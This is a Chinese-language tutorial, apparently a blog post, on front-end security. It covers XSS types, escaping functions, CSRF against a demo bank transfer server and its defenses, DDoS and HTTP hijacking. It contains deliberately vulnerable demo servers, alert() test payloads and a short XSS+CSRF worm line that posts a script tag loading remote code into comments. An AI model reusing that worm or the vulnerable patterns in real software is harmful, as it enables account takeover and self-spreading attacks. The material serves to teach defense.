前端必须知道的安全知识

1. XSS(Cross-Site Script)

  1. 黑客往网页里注入恶意脚本代码
  2. 当用户访问时获取到包含恶意代码的网页
  3. 通过恶意脚本,黑客可以获取和控制用户信息

1.1 反射型(非持久型)XSS

诱导用户点击恶意链接来造成一次性攻击

  1. 黑客把带有恶意脚本代码参数的URL地址发送给用户
  2. 用户点击此链接
  3. 服务器端获取请求参数并且直接使用,服务器反射回结果页面
  • 反射型XSS攻击是一次性的,必须要通过用户点击链接才能发起

  • 一些浏览器如Chrome其内置了一些XSS过滤器,可以防止大部分反射型XSS攻击

  • 反射型XSS其实就是服务器没有对恶意的用户输入进行安全处理就直接反射响应内容,导致恶意代码在浏览器中执行的一种XSS漏洞

    const express = require('express');
    const fs = require('fs');
    const path = require('path');
    const app = express();
    const bodyParser = require('body-parser');
    app.use(bodyParser.urlencoded({ extended: true }));
    app.use(bodyParser.json());
    app.use(express.static(path.resolve(__dirname, 'public')));
    //http://localhost:3000/list?category=%3Cscript%3Ealert(1)%3C/script%3E
    app.get('/list', function (req, res) {
        let { category } = req.query;
        res.header('Content-Type', 'text/html;charset=utf-8');
        res.send(`你输入的分类是: ${category}`);
    });
    app.listen(3000, () => console.log('The server is starting at port 3000'));
    

1.2 存储型(持久型)XSS

黑客将代码存储到漏洞服务器中,用户浏览相关页面发起攻击

  1. 黑客将恶意脚本代码上传或存储到漏洞服务器
  2. 服务器把恶意脚本保存到服务器
  3. 当正常客户访问服务器时,服务器会读取恶意数据并且直接使用
  4. 服务器会返回含有恶意脚本的页面
类型 反射型 存储型
持久性 非持久 持久化(存储在服务器)
触发时机 需要用户点击 不需要用户交互也可以触发
危害 危害较小 危害更大

public\comment-list.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>评论列表</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <h2>评论列表</h2>
                    </div>
                    <div class="panel-body">
                        <ul class="list-group comment-list">

                        </ul>
                    </div>
                    <div class="panel-footer">
                        <div class="row">
                            <div class="col-md-12">
                                <form onsubmit="addComment(event)">
                                    <div class="form-group">
                                        <label for="username">用户名</label>
                                        <input id="username" class="form-control" placeholder="用户名">
                                    </div>
                                    <div class="form-group">
                                        <label for="content">内容</label>
                                        <input id="content" class="form-control" placeholder="请输入评论">
                                    </div>
                                    <div class="form-group">
                                        <input type="submit" class="btn btn-primary">
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function getCommentList() {
            $.get('/api/comments').then(comments => {
                let html = comments.map(item => (
                    `
                <li class="list-group-item">
                        <div class="media">
                            <div class="media-left">
                                <a href="#">
                                   <img style="border-radius:5px" class="media-object" src="${item.avatar}" >
                                </a>
                            </div>
                            <div class="media-body">
                                <h4 class="media-heading">用户名: ${item.username}</h4>
                                <p>内容: ${item.content}</p>
                                <p>时间: ${item.time}</p>
                            </div>
                        </div>
                </li>
                `
                )).join('');
                $('.comment-list').html(html);
            });
        }
        getCommentList();
        function addComment(event) {
            event.preventDefault();
            let username = $('#username').val();
            let content = $('#content').val();
            if (!content) return;
            $.post('/api/comments', { username, content }).then(data => {
                getCommentList();
                $('#content').val('');
            });
        }
    </script>
</body>

</html>

server.js

let comments = [
    { avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '张三', content: '今天天气不错', time: new Date().toLocaleString() },
    { avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '李四', content: '是的', time: new Date().toLocaleString() }
];
app.get('/api/comments', function (req, res) {
    res.json(comments);
});
app.post('/api/comments', function (req, res) {
    let comment = req.body;
    comments.push({
        ...comment,
        avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a',
        time: new Date().toLocaleString()
    });
    res.json(comments);
});

1.3 DOM-Based型XSS

不需要服务器端支持,是由于DOM结构修改导致的,基于浏览器DOM解析的攻击

  1. 用户打开带有恶意的链接

  2. 浏览器在DOM解析的时候直接使用恶意数据

  3. 用户中招

  4. 常见的触发场景就是在修改innerHTML outerHTML document.write的时候

    <body>
        <h1>输入链接地址,然后点击按钮</h1>
        <div id="content"></div>
        <input type="text" id="link">
        <button onclick="setup()">设置</button>
        <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
        <script>
            function setup() {
                // " onclick=alert(1) //
                let html = `<a href="${$('#link').val()}">点我</a>`;
                $('#content').html(html);
            }
        </script>
    </body>
    

1.4 payload

实现XSS攻击的恶意脚本被称为 XSS payload

  • 窃取用户的Cookie document.cookie
  • 识别用户浏览器 navigator.userAgent
  • 伪造请求 GET POST请求
  • XSS钓鱼 通过XSS向网页上注入钓鱼链接,让用户访问假冒的网站

1.5 如何防御XSS

  • 给cookie设置httpOnly属性 脚本无法读取该Cookie,自己也不能用,非根本解决XSS

login.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>登录</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <form onsubmit="login(event)">
                    <div class="form-group">
                        <label for="username">用户名</label>
                        <input id="username" class="form-control" placeholder="用户名">
                    </div>
                    <div class="form-group">
                        <label for="password">密码</label>
                        <input id="password" class="form-control" placeholder="密码">
                    </div>
                    <div class="form-group">
                        <input type="submit" class="btn btn-primary" value="登录">
                    </div>
                </form>
            </div>
        </div>
    </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        function login() {
            let username = $('#username').val();
            let password = $('#password').val();
            $.post('/api/login', { username, password }).then(data => {
                if (data.code == 0) {
                    location.href = `/user.html?username=${username}`;
                }
                $('#username').val('');
                $('#password').val('');
            });
        }
    </script>
</body>

</html>

user.html

<script>
        document.write(document.cookie);
</script>

server.js

let users = [{ username: 'a', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }, { username: 'b', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }];
let userSessions = {};
app.post('/api/login', function (req, res) {
    let body = req.body;
    let user;
    for (let i = 0; i < users.length; i++) {
        if (body.username == users[i].username && body.password == users[i].password) {
            user = users[i];
            break;
        }
    }
    if (user) {
        const sessionId = 'user_' + Math.random() * 1000;
        res.cookie('username', user.username);
        res.cookie('sessionId', sessionId, { httpOnly: true });
        userSessions[sessionId] = {};
        res.json({ code: 0, user });
    } else {
        res.json({ code: 1, data: '没有该用户' });
    }
});

1.6 Web相关编码和转义

1.6.1 URL 编码

  • 一般来说,URL只能使用英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有(;,/?:@&=+$#)保留字符。

  • 如果使用了一些其他文字和特殊字符,则需要通过编码的方式来进行表示

    var url1 = 'http://www.张熙沐枫.com';  //包含汉字 encodeURI(url1));//http://www.%E7%8F%A0%E5%B3%B0.com
    var url2 = 'http://www.a.com?名称=沐枫';  //键为汉字
    var url3 = 'http://a.com?name=?&';    //值的内容为特殊符号
    
  • encodeURI encodeURI是用来编码URI的,最常见的就是编码一个 URL。encodeURI 会将需要编码的字符转换为 UTF-8 的格式。对于保留字符(;,/?:@&=+$#),以及非转义字符(字母数字以及 -_.!~*'())不会进行转义。

  • encodeURI 不转义&、?和= encodeURI(url3);//http://a.com?name=?&

  • encodeURIComponent 是用来编码 URI 参数的,它会跳过非转义字符(字母数字以及-_.!~*'())。但会转义 URL的 保留字符(;,/?:@&=+$#,encodeURIComponent(url3));// http%3A%2F%2Fa.com%3Fname%3D%3F%26

  • 所有完整编码一个URL字符串需要encodeURI和encodeURIComponent联合使用 console.log(encodeURI('http://a.com?name=') + encodeURIComponent('?&')); http://a.com?name=%3F%26

1.6.2 HTML 编码

在 HTML 中,某些字符是预留的,比如不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities) HTML 编码分为:

  • HTML 十六进制编码 &#xH;
  • HTML 十进制编码 &#D;
  • HTML 实体编码 < 等

在 HTML 进制编码中其中的数字则是对应字符的 unicode 字符编码。 比如单引号的 unicode 字符编码是27,则单引号可以被编码为'

function htmlEncode(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;');
}

完整实体

1.6.3 Javascript 转义

avaScript 中有些字符有特殊用途,如果字符串中想使用这些字符原来的含义,需要使用反斜杠对这些特殊符号进行转义。我们称之为 Javascript编码

  • 三个八进制数字,如果不够个数,前面补0,例如 “e” 编码为“\145”

  • 两个十六进制数字,如果不够个数,前面补0,例如 “e” 编码为“\x65”

  • 四个十六进制数字,如果不够个数,前面补0,例如 “e” 编码为“\u0065”

  • 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

    var str = "zxmf"";
    var str = "zxmf\"";
    

1.7 输入检查

  • 永远不要相信用户的输入
  • 用户格式判断 白名单
  • 过滤危险字符 去除
  • 事件属性中 加入房间

1.8.3 URL解析环境

使用之前要做urlencode()

  • url中 link

    <!DOCTYPE html>
    <html lang="en">
    
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Document</title>
    </head>
    
    <body>
        <div id="intag"></div>
        <div id="tagAttr"></div>
        <div id="inEvent"></div>
        <div id="inLink"></div>
        <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
        <script>
            function htmlEncode(str) {
                return String(str)
                    .replace(/&/g, '&amp;')
                    .replace(/"/g, '&quot;')
                    .replace(/'/g, '&#39;')
                    .replace(/</g, '&lt;')
                    .replace(/>/g, '&gt;');
            }
    
        let data = {
            desc: "<script>alert(1);<\/script>",
            clsName: '"><script>alert(2);<\/script>',
            url: '"><script>alert(3);<\/script>',
            id: '"><script>alert(4);<\/script>',
        }
        $('#intag').html(htmlEncode(data.desc));
        $('#tagAttr').html(`<a class = "${htmlEncode(data.clsName)}">标签属性中</a>`);
    
        $('#inEvent').html(`<a href="#" onclick = "go('${data.url}')">事件参数</a>`);
        $('#inLink').html(`<a href="http://localhost:3000/articles/${encodeURI(data.id)}">link</a>`);
        function go(url) {
            console.log(url);
        }
    
        //使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。
        var JavaScriptEncode = function (str) {
            var hex = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');
            function changeTo16Hex(charCode) {
                return "\\x" + charCode.charCodeAt(0).toString(16);
            }
    
            function encodeCharx(original) {
                var found = true;
                var thecharchar = original.charAt(0);
                var thechar = original.charCodeAt(0);
                switch (thecharchar) {
                    case '\n': return "\\n"; break; //newline
                    case '\r': return "\\r"; break; //Carriage return
                    case '\'': return "\\'"; break;
                    case '"': return "\\\""; break;
                    case '\&': return "\\&"; break;
                    case '\\': return "\\\\"; break;
                    case '\t': return "\\t"; break;
                    case '\b': return "\\b"; break;
                    case '\f': return "\\f"; break;
                    case '/': return "\\x2F"; break;
                    case '<': return "\\x3C"; break;
                    case '>': return "\\x3E"; break;
                    default:
                        found = false;
                        break;
                }
                if (!found) {
                    if (thechar > 47 && thechar < 58) { //数字
                        return original;
                    }
    
                    if (thechar > 64 && thechar < 91) { //大写字母
                        return original;
                    }
    
                    if (thechar > 96 && thechar < 123) { //小写字母
                        return original;
                    }
    
                    if (thechar > 127) { //大于127用unicode
                        var c = thechar;
                        var a4 = c % 16;
                        c = Math.floor(c / 16);
                        var a3 = c % 16;
                        c = Math.floor(c / 16);
                        var a2 = c % 16;
                        c = Math.floor(c / 16);
                        var a1 = c % 16;
                        return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + "";
                    }
                    else {
                        return changeTo16Hex(original);
                    }
    
                }
            }
    
            var preescape = str;
            var escaped = "";
            var i = 0;
            for (i = 0; i < preescape.length; i++) {
                escaped = escaped + encodeCharx(preescape.charAt(i));
            }
            return escaped;
        }
    </script>
    
    </body>
    
    </html>
    

2. CSRF

2.1 跨站请求伪造

Cross Site Request Forgery 跨站请求伪造

  1. 用户A登录银行网站,登录成功后会设置cookie
  2. 黑客诱导用户A登录到黑客的站点,然后会返回一个页面
  3. 用户访问这个页面时,这个页面会伪造一个转账请求到银行网站

bank.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>我的银行</title>
    <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>

<body>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-default">
                    <div class="panel-heading">
                        <p>用户名
                            <span id="username"></span>
                        </p>
                        <p>余额
                            <span id="money"></span>
                        </p>
                    </div>
                    <div class="panel-body">
                        <form onsubmit="transfer(event)">
                            <div class="form-group">
                                <label for="target">转账用户</label>
                                <input id="target" class="form-control" placeholder="请输入的用户名">
                            </div>
                            <div class="form-group">
                                <label for="amount">金额</label>
                                <input id="amount" class="form-control" placeholder="请输入转账的金额">
                            </div>
                            <div class="form-group">
                                <input type="submit" class="btn btn-primary">
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
        $(function () {
            $.get('/api/user').then(data => {
                console.log(data);
                console.log(data.user.username);
                if (data.code == 0) {
                    $('#username').html(data.user.username);
                    $('#money').html(data.user.money);
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
        });
        function transfer(event) {
            event.preventDefault();
            let target = $('#target').val();
            let amount = $('#amount').val();
            $.post('/api/transfer', { target, amount }).then(data => {
                if (data.code == 0) {
                    alert('转账成功');
                    location.reload();
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
        }
    </script>
</body>

</html>
app.get('/api/user', function (req, res) {
    let { username } = userSessions[req.cookies.sessionId];
    if (username) {
        let user;
        for (let i = 0; i < users.length; i++) {
            if (username == users[i].username) {
                user = users[i];
                break;
            }
        }
        res.json({ code: 0, user });
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
});

app.post('/api/transfer', function (req, res) {
    let { target, amount } = req.body;
    amount = isNaN(amount) ? 0 : Number(amount);
    let { username } = userSessions[req.cookies.sessionId];
    if (username) {
        let user;
        for (let i = 0; i < users.length; i++) {
            if (username == users[i].username) {
                users[i].money -= amount;
            } else if (target == users[i].username) {
                users[i].money += amount;
            }
        }
        res.json({ code: 0 });
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
})

2.2 防御

  • 用户不知情 验证码 影响用户体验
  • 跨站请求 使用refer验证 不可靠
  • 参数伪造 token 最主流的防御CSRF

2.2.1 验证码

server.js

var svgCaptcha = require('svg-captcha');
app.get('/api/captcha', function (req, res) {
    let session = userSessions[req.cookies.sessionId];
    if (session) {
        var codeConfig = {
            size: 5,// 验证码长度
            ignoreChars: '0o1i', // 验证码字符中排除 0o1i
            noise: 2, // 干扰线条的数量
            height: 44
        }
        var captcha = svgCaptcha.create(codeConfig);
        session.captcha = captcha.text.toLowerCase(); //存session用于验证接口获取文字码
        res.send({ code: 0, captcha: captcha.data });
    } else {
        res.json({ code: 1, data: '没有该用户' });
    }
});

bank.html

<div class="form-group">
    <label for="captcha" id="captcha"></label>
    <input id="captcha" class="form-control" placeholder="请输入验证码">
</div>

 $.get('/api/captcha').then(data => {

        if (data.code == 0) {

            $('#captcha').html(data.captcha);

        } else {

            alert('用户未登录');

            location.href = '/login.html';

        }

    });

2.2.2 refer 验证

 let referer = req.headers['referer'];
    if (/^https?:\/\/localhost:3000/.test(referer)) {

    } else {
        res.json({ code: 1, error: 'referer不正确' });
    }

2.2.3 token验证

bank.html

function getClientToken() {
            let result = document.cookie.match(/token=([^;]+)/);
            return result ? result[1] : '';
        }
function transfer(event) {
            event.preventDefault();
            let target = $('#target').val();
            let amount = $('#amount').val();
            let captcha = $('#captcha').val();
            $.post('/api/transfer', {
                target,
                amount,
                captcha,
                clientToken: getClientToken()
            }).then(data => {
                if (data.code == 0) {
                    alert('转账成功');
                    location.reload();
                } else {
                    alert('用户未登录');
                    location.href = '/login.html';
                }
            });
}

server.js

app.post('/api/transfer', function (req, res) {
    // let referer = req.headers['referer'];
    //if (/^https?:\/\/localhost:3000/.test(referer)) {
    let { target, amount, clientToken, captcha } = req.body;
    amount = isNaN(amount) ? 0 : Number(amount);
    let { username, token } = userSessions[req.cookies.sessionId];
    if (username) {
        if (clientToken == token) {
            let user;
            for (let i = 0; i < users.length; i++) {
                if (username == users[i].username) {
                    users[i].money -= amount;
                } else if (target == users[i].username) {
                    users[i].money += amount;
                }
            }
            res.json({ code: 0 });
        } else {
            res.json({ code: 1, error: '违法操作' });
        }
    } else {
        res.json({ code: 1, error: '用户没有登录' });
    }
    //} else {
    res.json({ code: 1, error: 'referer不正确' });
    //}
})

2.2.4 xss+csrf(蠕虫)

不断传播的xss+csrf攻击 worm.js

const attack = '<script src="http://localhost:3001/worm.js"></script>';
$.post('/api/comments', { content: 'haha' + attack });

3. DDOS攻击

分布式拒绝服务(Distribute Denial Of Service)

  • 黑客控制大量的肉鸡向受害主机发送非正常请求,导致目标主机耗尽资源不能为合法用户提供服务
  • 验证码是我们在互联网十分常见的技术之一。不得不说验证码是能够有效地防止多次重复请求的行为。
  • 限制请求频率是我们最常见的针对 DDOS 攻击的防御措施。其原理为设置每个客户端的请求频率的限制
  • 增加机器增加服务带宽。只要超过了攻击流量便可以避免服务瘫痪
  • 设置自己的业务为分布式服务,防止单点失效
  • 使用主流云系统和 CDN(云和 CDN 其自身有 DDOS 的防范作用)
  • 优化资源使用提高 web server 的负载能力

4. HTTP劫持

  • 在用户的客户端与其要访问的服务器经过网络协议协调后,二者之间建立了一条专用的数据通道,用户端程序在系统中开放指定网络端口用于接收数据报文,服务器端将全部数据按指定网络协议规则进行分解打包,形成连续数据报文。
  • 用户端接收到全部报文后,按照协议标准来解包组合获得完整的网络数据。其中传输过程中的每一个数据包都有特定的标签,表示其来源、携带的数据属性以及要到何处,所有的数据包经过网络路径中ISP的路由器传输接力后,最终到达目的地,也就是客户端。
  • HTTP劫持是在使用者与其目的网络服务所建立的专用数据通道中,监视特定数据信息,提示当满足设定的条件时,就会在正常的数据流中插入精心设计的网络数据报文,目的是让用户端程序解释“错误”的数据,并以弹出新窗口的形式在使用者界面展示宣传性广告或者直接显示某网站的内容。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,527评论 5 470
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,314评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,535评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,006评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,961评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,220评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,664评论 3 392
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,351评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,481评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,397评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,443评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,123评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,713评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,801评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,010评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,494评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,075评论 2 341